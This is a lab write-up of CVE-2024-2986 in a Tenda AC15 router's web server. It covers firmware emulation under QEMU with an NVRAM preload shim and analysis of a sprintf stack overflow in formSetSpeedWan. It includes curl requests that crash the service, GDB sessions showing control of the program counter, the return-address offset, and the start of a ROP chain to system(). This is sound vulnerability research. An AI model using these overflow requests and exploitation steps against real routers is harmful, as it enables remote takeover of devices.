buf[0] = '\0';
for (i = 0; i < MAX_NV_PAIRS; i++) {
if (!g_nv[i].used) continue;
n = snprintf(buf + used, (size_t)(count - used), "%s=%s", g_nv[i].key, g_nv[i].val);
if (n <= 0 || used + n + 2 > count) break;
used += n + 1;
}
if (used + 1 < count) buf[used] = '\0';
pthread_mutex_unlock(&g_nv_lock);
return buf;
}
__attribute__((visibility("default")))
char *bcm_nvram_safe_get(const char *name) {
/* Safe getter: never returns NULL. */
static char empty[] = "";
char *v = bcm_nvram_get(name);
return v ? v : empty;
}
__attribute__((constructor))
static void hook_init(void) {
/* Constructor ensures defaults are ready before first request. */
g_seed_path = pick_env_or_default("NVRAM_SEED_PATH", NVRAM_SEED_PATH_DEFAULT);
g_snapshot_path = pick_env_or_default("NVRAM_COMMIT_SNAPSHOT", NVRAM_COMMIT_SNAPSHOT_DEFAULT);
pthread_mutex_lock(&g_nv_lock);
ensure_loaded_locked();
pthread_mutex_unlock(&g_nv_lock);
}The shim restores the missing userland configuration API in a form that is good enough for the web stack:
httpdcan resolve the missingbcm_nvram_*symbols and continue running- committed state becomes observable through
/tmp/nvram_commit_snapshot.cfg
The compile tool is selected from the target ABI, not from the host environment.
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ readelf -h "$LAB/bin/httpd" | grep -E "Class|Data|Machine" Class: ELF32 Data: 2's complement, little endian Machine: ARM axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ readelf -l "$LAB/bin/httpd" | grep "interpreter" [Requesting program interpreter: /lib/ld-uClibc.so.0] axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ strings "$LAB/bin/httpd" | grep -Ei "uClibc|glibc|musl" /lib/ld-uClibc.so.0 __uClibc_main
The output shows that the AC15 httpd is:
- ELF 32 bit
- little-endian
- ARM
- loaded by
/lib/ld-uClibc.so.0
So the preload shim also has to be built as ARM + uClibc.
And look up the compiler fingerprint:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ strings $LAB/bin/httpd | grep GCC GCC_3.5 GCC: (GNU) 3.3.2 20031005 (Debian prerelease) GCC: (Buildroot 2012.02) 4.5.3
Buildroot is used here as a host-side cross-compilation framework for embedded Linux targets. In this lab, it is only used to generate an arm-linux-gcc toolchain that matches the firmware userspace ABI.
The target metadata proves an ARMv7 application-profile userspace, but it does not identify a specific core such as cortex-a5, cortex-a7, cortex-a8, cortex-a9, or cortex-a12. For the toolchain in this lab, cortex-a9 is used as a compatible ARMv7-A setting rather than as a hardware-verified core model.
Prepare the Buildroot toolchain:
cd ~/pwntools
git clone https://github.com/buildroot/buildroot.git
cd buildroot
make menuconfig
# Target options ---> Architecture: ARM (little endian)
# Target options ---> ARM architecture variant: cortex-a9
# Target options ---> Use soft-float (default)
# Toolchain ---> C library: uClibc-ng
makeTarget options:

Toolchain:

After Buildroot finishes, the compiler used in this lab is:
~/pwntools/buildroot/output/host/bin/arm-linux-gccBuild the shim:
sudo ln -sf ~/pwntools/buildroot/output/host/bin/arm-linux-gcc /bin/arm-linux-gcc
arm-linux-gcc -shared -fPIC "$LAB/hook_nvram.c" -o "$LAB/hook_nvram.so" -ldlValidate the built object:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ file "$LAB/hook_nvram.so" /home/axura/labs/cve-2024-2986/rootfs/hook_nvram.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, not stripped axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -h "$LAB/hook_nvram.so" | grep -E "Class|Data|Machine" Class: ELF32 Data: 2's complement, little endian Machine: ARM axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -s "$LAB/hook_nvram.so" | grep -E "bcm_nvram" 21: 000012b8 464 FUNC GLOBAL DEFAULT 9 bcm_nvram_getall 22: 00001488 72 FUNC GLOBAL DEFAULT 9 bcm_nvram_safe_get 23: 0000122c 76 FUNC GLOBAL DEFAULT 9 bcm_nvram_init 24: 00000edc 92 FUNC GLOBAL DEFAULT 9 bcm_nvram_set 25: 00000fe4 108 FUNC GLOBAL DEFAULT 9 bcm_nvram_match 27: 00001050 176 FUNC GLOBAL DEFAULT 9 bcm_nvram_unset 28: 00000f38 172 FUNC GLOBAL DEFAULT 9 bcm_nvram_get 29: 00001100 300 FUNC GLOBAL DEFAULT 9 bcm_nvram_commit 31: 00001278 64 FUNC GLOBAL DEFAULT 9 bcm_nvram_restore 113: 000012b8 464 FUNC GLOBAL DEFAULT 9 bcm_nvram_getall 116: 00001488 72 FUNC GLOBAL DEFAULT 9 bcm_nvram_safe_get 119: 00000edc 92 FUNC GLOBAL DEFAULT 9 bcm_nvram_set 120: 00001100 300 FUNC GLOBAL DEFAULT 9 bcm_nvram_commit 121: 00000fe4 108 FUNC GLOBAL DEFAULT 9 bcm_nvram_match 123: 00001050 176 FUNC GLOBAL DEFAULT 9 bcm_nvram_unset 124: 00000f38 172 FUNC GLOBAL DEFAULT 9 bcm_nvram_get 138: 00001278 64 FUNC GLOBAL DEFAULT 9 bcm_nvram_restore 139: 0000122c 76 FUNC GLOBAL DEFAULT 9 bcm_nvram_init axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -d "$LAB/hook_nvram.so" | grep NEEDED 0x00000001 (NEEDED) Shared library: [libc.so.0] axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -V "$LAB/hook_nvram.so" | grep -E "GLIBC|uClibc" axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -l "$LAB/hook_nvram.so" | grep "interpreter"
At this point, the built preload shim matched the target httpd runtime:
- exportes
bcm_nvram_get,bcm_nvram_set,bcm_nvram_match,bcm_nvram_commitcorrectly NEEDED: libc.so.0matches the uClibc-style runtime- no
GLIBC_*version tags inreadelf -V - no ELF interpreter line, which is expected for a shared object
3.3.2.4 LD_PRELOAD Injection
With the shim built, the final bring-up step is to preload it into httpd:
LD_PRELOAD=/hook_nvram.soThis forces the dynamic loader to resolve bcm_nvram_* through the local shim first, allowing httpd to continue through initialization instead of aborting on missing symbols.
3.4 HTTP Service Execution
With both missing dependencies covered, service bring-up becomes a two-step process. Start the local CFM backend first:
sudo python3 $LAB/uds_server.py \
--socket-path "$LAB/var/cfm_socket" \
--sock-type streamThen start httpd with the NVRAM shim preloaded:
sudo chroot "$LAB" \
/usr/bin/qemu-arm-static \
-E LD_PRELOAD=/hook_nvram.so \
/bin/httpdDon't forget the previous steps before starting
httpd:
- setup LAN network inteface (3.1)
- recreate rcS runtime layout (3.2)
Once the service is live, the UDS helper begins receiving CFM packets:

The expected management target in the lab is http://192.168.200.5:

At that point, the emulated web service is up:

3.5 Cleanups
For cleanup or restart:
sudo pkill -9 -f '/usr/bin/qemu-arm-static.*/bin/httpd'
sudo pkill -9 -f uds_server.py
sudo rm -f "$LAB/var/cfm_socket"4 Vulnerability Analysis
4.1 Binary Protections
Check the current hardening state on the AC15 httpd:
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ checksec "$LAB/bin/httpd" [*] '/home/axura/labs/cve-2024-2986/rootfs/bin/httpd' Arch: arm-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000)
This is common in router firmware.
4.2 Vulnerable Handler Identification
The AC15 httpd confirmed the published route and handler directly in IDA.
4.2.1 Goform Route Registration
The registration table at sub_42378 binds the goform name SetSpeedWan to formSetSpeedWan:
sub_171EC("SetSpeedWan", formSetSpeedWan); // register /goform/SetSpeedWanSo the request path is:
/goform/SetSpeedWan- handler:
formSetSpeedWan
We can visit the endpoint at http://192.168.200.5/goform/SetSpeedWan:

4.2.2 formSetSpeedWan Handler Logic
The vulnerable handler formSetSpeedWan recovered from the binary is:
int __fastcall formSetSpeedWan(int a1)
{
_DWORD nptr[8]; // [sp+10h] [bp-5Ch] temporary string / status buffer
_DWORD s[8]; // [sp+30h] [bp-3Ch] response buffer on stack
int v5; // [sp+50h] [bp-1Ch] password pointer
char *v6; // [sp+54h] [bp-18h] ucloud_enable
char *v7; // [sp+58h] [bp-14h] speed_dir
int v8; // [sp+5Ch] [bp-10h] errCode
memset(s, 0, sizeof(s));
memset(nptr, 0, sizeof(nptr));
v8 = 0;
v7 = (char *)sub_2BA8C(a1, "speed_dir", "0"); // attacker-controlled parameter
v6 = (char *)sub_2BA8C(a1, "ucloud_enable", "0"); // secondary request parameter
v5 = sub_2BA8C(a1, "password", "0"); // optional password field
GetValue("speedtest.flag", nptr); // read current state through libCfm.so
if ( atoi((const char *)nptr) )
{
v8 = 1;
}
else
{
SetValue("speedtest.flag", "1"); // update config through libCfm.so
if ( atoi(v7) )
{
if ( !atoi(v6) )
{
SetValue("ucloud.en", "1");
SetValue("ucloud.syncserver", "1");
SetValue("ucloud.password", v5);
SetValue("qos.ucloud.flag", "1");
doSystemCmd("cfm Post ucloud 0");
}
SetValue("speedtest.ret", "2");
doSystemCmd("/bin/speedtest %d %d &", 1, 1);
}
else
{
SetValue("speedtest.ret", "4");
doSystemCmd("cfm Post ucloud 5");
}
}
sprintf((char *)s, "{\"errCode\":%d,\"speed_dir\":%s}", v8, v7); // [!] unbounded write into stack buffer
return sub_9CCBC(a1, s); // send response
}4.2.3 Stack Overflow Entry Point
The overflow happens in the final JSON response build, and the stack layout makes the bug easy to see.
speed_dir is not synthesized locally. It is fetched from the current web request through sub_2BA8C:
void *__fastcall sub_2BA8C(int a1, int a2, int a3)
{
int v6;
v6 = sub_1FBF4(*(_DWORD *)(a1 + 32), a2); // search request context for named field
if ( !v6 )
return (void *)a3; // field absent -> return default
if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
return &unk_DC1C4; // present but empty -> return static empty string
}So when formSetSpeedWan executes the next line, v7 becomes the request-supplied speed_dir value if present, or "0" if the parameter is missing:
v7 = (char *)sub_2BA8C(a1, "speed_dir", "0"); // look up "speed_dir", default "0"That pointer is then carried into the final response formatting step:
_DWORD s[8]; // 0x20-byte stack buffer
...
sprintf((char *)s, "{\"errCode\":%d,\"speed_dir\":%s}", v8, v7);The destination is:
_DWORD s[8]; // 8 * 4 = 32 bytesFixed text in the format string:
{"errCode":→11bytes,"speed_dir":→13bytes}→1byte
The constant part is already 25 bytes. sprintf then appends:
- the decimal text for
errCode - the full NUL-terminated contents referenced by
v7 - the trailing
\0
In the normal path here, errCode is 0 or 1, so it contributes one printable byte. The total write therefore becomes:
25 + 1 + strlen(v7) + 1or:
27 + strlen(v7)That total is written into a 32-byte stack buffer, so the boundary is:
27 + strlen(v7) <= 32 // safe
27 + strlen(v7) > 32 // overflowWhich reduces to:
strlen(v7) <= 5 // fits
strlen(v7) >= 6 // overflowsSo the formatted JSON starts writing out of bounds as soon as the string copied through %s reaches 6 non-NUL bytes.
The overflow path is therefore:
- source: HTTP GET parameter
speed_dir - local carrier:
v7 - sink:
sprintf((char *)s, ...) - corrupted object: stack buffer
s
4.3 Crash Reproduction
4.3.1 Runtime Triggering
The first out-of-bounds case begins at len(speed_dir) >= 6, but that boundary case does not have to fault immediately. A one-byte overwrite is often too small to disturb saved control data in a visible way.
So the next step was to keep extending speed_dir until the overwrite reached a critical stack object.
for n in 6 8 16 32 64 128 256; do
s=$(python3 - <<PY
print("A" * $n)
PY
)
echo "[*] len=$n"
curl -s -L -c /tmp/ac15.cookies -b /tmp/ac15.cookies \
"http://192.168.200.5/goform/SetSpeedWan?speed_dir=$s" >/dev/null
done
In this lab run, increasing the request length moved the result from a silent boundary overwrite to a real process fault:

4.3.2 GDB Debugging
After reproducing the crash in a normal run, httpd was restarted under the QEMU gdbstub and the same request was replayed to capture the overwrite in a controlled session.
The breakpoint was placed at 0x00061998, where sprintf executes inside the vulnerable handler:
.text:0006197C LDR R3, =(aErrcodeDSpeedD - 0xFF3B8) ; "{\"errCode\":%d,\"speed_dir\":%s}"
.text:00061980 ADD R3, R4, R3 ; "{\"errCode\":%d,\"speed_dir\":%s}"
.text:00061984 SUB R2, R11, #-s
.text:00061988 MOV R0, R2 ; s
.text:0006198C MOV R1, R3 ; format
.text:00061990 LDR R2, [R11,#var_10]
.text:00061994 LDR R3, [R11,#var_14]
.text:00061998 BL sprintfThe following script was used as $LAB/poc.gdb:
handle SIGALRM nostop noprint pass
set sysroot /home/axura/labs/cve-2024-2986/rootfs
target remote 127.0.0.1:1234
b *0x00061998Start httpd under the gdbstub:
sudo chroot "$LAB" \
/usr/bin/qemu-arm-static \
-g 1234 \
-E LD_PRELOAD=/hook_nvram.so /bin/httpdThat terminal stays blocked on the gdbstub. Start GDB in another terminal:
gdb-multiarch -q "$LAB/bin/httpd" -x "$LAB/poc.gdb"GDB then attaches the http daemon process:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]───────────────────────────────────────────────────────────────── R0 0 R1 0x40800677 ◂— 0x40800677 R2 0 R3 0 R4 0 R5 0 R6 0 R7 0 R8 0 R9 0 R10 0xff000 —▸ 0xfa00 ◂— 0xfa00 R11 0 R12 0 SP 0x40800570 ◂— 0x40800570 LR 0 PC 0x3fff2930 (_start) ◂— 0x3fff2930 CPSR 0x10 [ n z c v q j t e a i f ] ─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]────────────────────────────────────────────────────────────────────── ► 0x3fff2930 <_start> mov r0, sp R0 => 0x40800570 0x3fff2934 <_start+4> bl 0x3fff5bb4 <0x3fff5bb4> 0x3fff2938 <_start+8> mov r6, r0 0x3fff293c <_start+12> ldr r10, [pc, #0x30] R10, [_start+68] 0x3fff2940 <_start+16> add r10, pc, r10 0x3fff2944 <_start+20> ldr r4, [pc, #0x2c] R4, [_start+72] 0x3fff2948 <_start+24> ldr r4, [r10, r4] 0x3fff294c <_start+28> ldr r1, [sp] 0x3fff2950 <_start+32> sub r1, r1, r4 0x3fff2954 <_start+36> add sp, sp, r4, lsl #2 0x3fff2958 <_start+40> add r2, sp, #4 ───────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x40800570 ◂— 0x40800570 01:0004│ 0x40800574 —▸ 0x40800677 ◂— 0x40800677 02:0008│ 0x40800578 ◂— 0x40800578 03:000c│ 0x4080057c —▸ 0x40800682 ◂— 0x40800682 04:0010│ 0x40800580 —▸ 0x4080069c ◂— 0x4080069c 05:0014│ 0x40800584 —▸ 0x408006aa ◂— 0x408006aa 06:0018│ 0x40800588 —▸ 0x408006b8 ◂— 0x408006b8 07:001c│ 0x4080058c —▸ 0x408006c8 ◂— 0x408006c8 ─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► 0 0x3fff2930 _start 1 0x0 None ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> c Continuing.
After continue, the HTTP service starts and the formSetSpeedWan handler can be triggered from another terminal.
The request was then replayed from another shell with a cyclic payload. In this lab run, the browser reached the handler by following the initial redirect and reusing the password=... cookie, so the same flow can be reproduced directly with curl:
pl=$(pwn cyclic 256)
curl -i -L -c /tmp/ac15.cookies -b /tmp/ac15.cookies \
--get \
--data-urlencode "speed_dir=$pl" \
"http://192.168.200.5/goform/SetSpeedWan"After request sent, execution stopped at the sprintf call:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]───────────────────────────────────────────────────────────────── *R0 0x407ff918 ◂— 0x407ff918 *R1 0xe2edc ◂— 0xe2edc R2 0 *R3 0x1243c0 ◂— 0x1243c0 *R4 0xff3b8 —▸ 0xff270 ◂— 0xff270 *R5 0x1237c0 ◂— 0x1237c0 *R6 1 *R7 0x40800677 ◂— 0x40800677 *R8 0xec24 (_init) ◂— 0xec24 *R9 0x2e420 ◂— 0x2e420 *R10 0x408004e8 ◂— 0x408004e8 *R11 0x407ff954 —▸ 0x171c8 (websFormHandler+336) ◂— 0x171c8 *R12 0x3fabef0c (pthread_setcanceltype@got[plt]) —▸ 0x3fab05b4 (pthread_setcanceltype) ◂— 0x3fab05b4 *SP 0x407ff8e8 ◂— 0x407ff8e8 LR 0x6197c (formSetSpeedWan+720) ◂— 0x6197c *PC 0x61998 (formSetSpeedWan+748) ◂— 0x61998 *CPSR 0x60000010 [ n Z C v q j t e a i f ] ─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]────────────────────────────────────────────────────────────────────── b► 0x61998 <formSetSpeedWan+748> bl sprintf@plt <sprintf@plt> s: 0x407ff918 ◂— 0x407ff918 format: 0xe2edc ◂— 0xe2edc vararg: 0 0x6199c <formSetSpeedWan+752> sub r3, r11, #0x3c 0x619a0 <formSetSpeedWan+756> ldr r0, [r11, #-0x60] 0x619a4 <formSetSpeedWan+760> mov r1, r3 0x619a8 <formSetSpeedWan+764> bl 0x9ccbc <0x9ccbc> 0x619ac <formSetSpeedWan+768> sub sp, r11, #8 0x619b0 <formSetSpeedWan+772> pop {r4, r11, pc} <formSetSpeedWan+780> ↓ ───────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x407ff8e8 ◂— 0x407ff8e8 01:0004│ 0x407ff8ec —▸ 0x1239d0 ◂— 0x1239d0 02:0008│ 0x407ff8f0 —▸ 0x407ff970 ◂— 0x407ff970 03:000c│ 0x407ff8f4 —▸ 0x11dbe8 —▸ 0x11fe88 ◂— 0x11fe88 04:0010│ 0x407ff8f8 ◂— 0x407ff8f8 05:0014│ 0x407ff8fc ◂— 0x407ff8fc 06:0018│ 0x407ff900 ◂— 0x407ff900 07:001c│ 0x407ff904 ◂— 0x407ff904 ─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── ► 0 0x61998 formSetSpeedWan+748 1 0x171c8 websFormHandler+336 2 0x18074 None ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/s 0xe2edc 0xe2edc: "{\"errCode\":%d,\"speed_dir\":%s}" pwndbg>
Single-step over sprintf, then inspect the target written buffer s at 0x407ff918:
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]──────────────────────────────────────────────────────────────────────────────────────── *R0 0x11a *R1 0xe2ef8 ◂— 0xe2ef8 *R2 0x407ff918 ◂— 0x407ff918 *R3 0x407ff8e0 ◂— 0x407ff8e0 R4 0xff3b8 —▸ 0xff270 ◂— 0xff270 R5 0x1237c0 ◂— 0x1237c0 R6 1 R7 0x40800677 ◂— 0x40800677 R8 0xec24 (_init) ◂— 0xec24 R9 0x2e420 ◂— 0x2e420 R10 0x408004e8 ◂— 0x408004e8 R11 0x407ff954 ◂— 0x407ff954 *R12 0x3f980ab4 ([email protected]) —▸ 0x3f94a314 (__stdio_fwrite) ◂— 0x3f94a314 SP 0x407ff8e8 ◂— 0x407ff8e8 LR 0x6199c (formSetSpeedWan+752) ◂— 0x6199c *PC 0x6199c (formSetSpeedWan+752) ◂— 0x6199c *CPSR 0x10 [ n z c v q j t e a i f ] ────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]───────────────────────────────────────────────────────────────────────────────────────────── b+ 0x61998 <formSetSpeedWan+748> bl sprintf@plt <sprintf@plt> ► 0x6199c <formSetSpeedWan+752> sub r3, r11, #0x3c R3 => 0x407ff918 (0x407ff954 - 0x3c) 0x619a0 <formSetSpeedWan+756> ldr r0, [r11, #-0x60] R0, [0x407ff8f4] 0x619a4 <formSetSpeedWan+760> mov r1, r3 R1 => 0x407ff918 0x619a8 <formSetSpeedWan+764> bl 0x9ccbc <0x9ccbc> 0x619ac <formSetSpeedWan+768> sub sp, r11, #8 0x619b0 <formSetSpeedWan+772> pop {r4, r11, pc} <formSetSpeedWan+780> ↓ ──────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x407ff8e8 ◂— 0x407ff8e8 01:0004│ 0x407ff8ec —▸ 0x1239d0 ◂— 0x1239d0 02:0008│ 0x407ff8f0 —▸ 0x407ff970 ◂— 0x407ff970 03:000c│ 0x407ff8f4 —▸ 0x11dbe8 —▸ 0x11fe88 ◂— 0x11fe88 04:0010│ 0x407ff8f8 ◂— 0x407ff8f8 05:0014│ 0x407ff8fc ◂— 0x407ff8fc 06:0018│ 0x407ff900 ◂— 0x407ff900 07:001c│ 0x407ff904 ◂— 0x407ff904 ────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x6199c formSetSpeedWan+752 1 0x61616a60 None ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/s 0x407ff918 0x407ff918: "{\"errCode\":0,\"speed_dir\":aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaa"... pwndbg> x/32wx 0x407ff918 0x407ff918: 0x7265227b 0x646f4372 0x303a2265 0x7073222c 0x407ff928: 0x5f646565 0x22726964 0x6161613a 0x61616261 0x407ff938: 0x61616361 0x61616461 0x61616561 0x61616661 0x407ff948: 0x61616761 0x61616861 0x61616961 0x61616a61 0x407ff958: 0x61616b61 0x61616c61 0x61616d61 0x61616e61 0x407ff968: 0x61616f61 0x61617061 0x61617161 0x61617261 0x407ff978: 0x61617361 0x61617461 0x61617561 0x61617661 0x407ff988: 0x61617761 0x61617861 0x61617961 0x61617a61
At this point, the local response buffer already holds the full JSON reply with the cyclic speed_dir embedded in it.
Continue to leave sprintf and reache the function epilogue:
pwndbg> ni 0x61616a60 in ?? () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]──────────────────────────────────────────────────────────────────────────────────────── R0 0x108 R1 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88 R2 0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88 R3 0x77777777 ('wwww') *R4 0x61616861 ('ahaa') R5 0x1237c0 ◂— 0x1237c0 R6 1 R7 0x40800677 ◂— 0x40800677 R8 0xec24 (_init) ◂— 0xec24 R9 0x2e420 ◂— 0x2e420 R10 0x408004e8 ◂— 0x408004e8 *R11 0x61616961 ('aiaa') R12 0x3fabeedc ([email protected]) —▸ 0x3fab4a50 (__pthread_unlock) ◂— 0x3fab4a50 *SP 0x407ff958 ◂— 0x407ff958 LR 0x10914 ◂— 0x10914 *PC 0x61616a60 ('`jaa') *CPSR 0x20000030 [ n z C v q j T e a i f ] ───────────────────────────────────────────────────────────────────────────────────────────[ DISASM / arm / thumb mode / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────── Invalid address 0x61616a60 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x407ff958 ◂— 0x407ff958 01:0004│ 0x407ff95c ◂— 0x407ff95c 02:0008│ 0x407ff960 ◂— 0x407ff960 03:000c│ 0x407ff964 ◂— 0x407ff964 04:0010│ 0x407ff968 ◂— 0x407ff968 05:0014│ 0x407ff96c ◂— 0x407ff96c 06:0018│ 0x407ff970 ◂— 0x407ff970 07:001c│ 0x407ff974 ◂— 0x407ff974 ────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x61616a60 None 1 0x10914 None ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
This is the control-flow proof — PC = 0x61616a60, which shows that execution has already been redirected into cyclic-controlled data.
4.3.3 Overflow Offset Determination
Offset recovery uses the saved return word rather than the displayed pc value. In this crash, pc is shown as 0x61616a60, while the overwritten return word is 0x61616a61.

On ARM Thumb, bit 0 carries instruction-set state, so GDB displays the executable address with that bit cleared while the processor remains in Thumb mode.
Resolve the offset from the saved return word:
pwn cyclic -l 0x61616a61 -n 4This placed the saved return overwrite at offset 35.
5 ROP Chain
After the overflow offset was confirmed in GDB, the next step was to turn that overwrite into code execution. The simplest place to start was the system function family.

5.1 ARM Exploitation Strategy
5.1.1 ARM Calling Convention
The simplest post-overflow goal is command execution, so system is the first obvious target. But on ARM, system() expects a proper stack frame and an LR value created by BL, while a stack overflow only hijacks the return address and does not recreate the calling environment.
The basic AAPCS calling convention is:
| Register | Purpose |
|---|---|
| R0–R3 | First 4 arguments |
| R4–R11 | Callee-saved registers |
| R12 | Scratch |
| LR | Return address |
| SP | Stack pointer |
| PC | Program counter |
A normal call looks like this:
BL system- Stores the return address in LR
- Transfers execution to
system
When system finishes, it returns with something like:
POP {R4,PC}or
BX LRSo the caller must already have a valid stack frame and LR.
Therefore, when we overflow the stack against a return address, we cannot simply pollute it with
systemlike x86.
5.1.2 system Function
In httpd, system is only an imported thunk:
int system(const char *command)
{
return __imp_system(command);
}The real implementation is resolved from libc.so.0 at runtime.
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -d "$LAB/bin/httpd" | grep NEEDED 0x00000001 (NEEDED) Shared library: [libCfm.so] 0x00000001 (NEEDED) Shared library: [libcommon.so] 0x00000001 (NEEDED) Shared library: [libChipApi.so] 0x00000001 (NEEDED) Shared library: [libvos_util.so] 0x00000001 (NEEDED) Shared library: [libz.so] 0x00000001 (NEEDED) Shared library: [libpthread.so.0] 0x00000001 (NEEDED) Shared library: [libnvram.so] 0x00000001 (NEEDED) Shared library: [libshared.so] 0x00000001 (NEEDED) Shared library: [libtpi.so] 0x00000001 (NEEDED) Shared library: [libm.so.0] 0x00000001 (NEEDED) Shared library: [libucapi.so] 0x00000001 (NEEDED) Shared library: [libgcc_s.so.1] 0x00000001 (NEEDED) Shared library: [libc.so.0] axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ arm-linux-gnueabi-objdump -d "$LAB/bin/httpd" | grep '<system@plt>' 0000edd4 <system@plt>: 3d818: ebff456d bl edd4 <system@plt> 4f8ec: ebfefd38 bl edd4 <system@plt> a6378: ebfda295 bl edd4 <system@plt> axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -Ws "$LAB/lib/libc.so.0" | grep ' system' 433: 0005a270 348 FUNC WEAK DEFAULT 7 system
Inside libc.so.0, system forks a child and executes /bin/sh -c <command>:
int __fastcall system(int a1)
{
if ( !a1 )
return 1;
v1 = vfork();
if ( v1 >= 0 )
{
if ( !v1 )
{
j_execl("/bin/sh", "sh", "-c", a1, v2);
j__exit(127);
}
if ( j_wait4(v2, &v8, 0, 0) == -1 )
v8 = -1;
return v8;
}
else
{
return -1;
}
}Assembly:
5a270 LDR R3, =(_GLOBAL_OFFSET_TABLE_ - 0x5A28C) ; Alternative name is '__libc_system'
5a274 CMP R0, #0
5a278 PUSH {R4,LR}
5a27C SUB SP, SP, #0x28
...
5a2BC STR R0, [SP,#0x30+var_18]
5a2C0 BL vfork
...
5a320 LDR R3, [SP,#0x30+var_24]
5a324 LDR R0, =(aBinSh - 0x6D4F8) ; "/bin/sh"
5a328 LDR R1, =(aBinSh+5 - 0x6D4F8) ; "sh"
5a32c LDR R2, =(aC - 0x6D4F8) ; "-c"
5a340 LDR R3, [SP,#0x30+var_14] ; command pointer
5a344 BL j_execl
5a348 MOV R0, #0x7F
5a34c BL j__exit
...
5a3b4 ADD SP, SP, #0x28
5a3b8 POP {R4,PC}The important prologue and epilogue are:
PUSH {R4,LR}
SUB SP, SP, #0x28
...
ADD SP, SP, #0x28
POP {R4,PC}Next, we compare a normal function invocation via BL system with an incorrect control-flow hijack using RET to system.
5.1.3 BL system
Normal execution:
caller
│
BL system
│ LR = address_after_BL
│ PC = system
▼
system
PUSH {R4,LR}
...
ADD SP, SP, #0x28
POP {R4,PC}
│
└── PC = saved LR = address_after_BLExecution returns to the caller, specifically to the instruction after BL system. Nothing unusual happens.
5.1.4 RET sytem
Overflow:
vulnerable()
│
POP {PC}
│ PC = system
│ LR = whatever value LR had before
▼
system
PUSH {R4,LR} <-- saves that whatever LR
...
POP {R4,PC}
│
└── PC = LRIf LR is invalid, the function crashes on return.
5.2 System Gadget
5.2.1 doSystemCmd Gadget
So the next idea was to find a BL system-style call site that would set up LR for us automatically.
arm-linux-gnueabi-objdump -d $LAB/lib/libc.so.0 | grep system | grep blaxura@ubuntu-22-04-5:~/labs/cve-2024-2986$ arm-linux-gnueabi-objdump -d $LAB/lib/libc.so.0 | grep system | grep bl 16d6c: eb010dc8 bl 5a494 <__libc_system+0x224> 20ea4: eb00e572 bl 5a474 <__libc_system+0x204> 20eb4: eb00e544 bl 5a3cc <__libc_system+0x15c> 20ecc: eb00e568 bl 5a474 <__libc_system+0x204> 20eec: eb00e536 bl 5a3cc <__libc_system+0x15c> 20efc: eb00e532 bl 5a3cc <__libc_system+0x15c> 20f0c: eb00e558 bl 5a474 <__libc_system+0x204> 20f40: eb00e54b bl 5a474 <__libc_system+0x204> 2e1c0: eb00b0ab bl 5a474 <__libc_system+0x204> [...snip...]
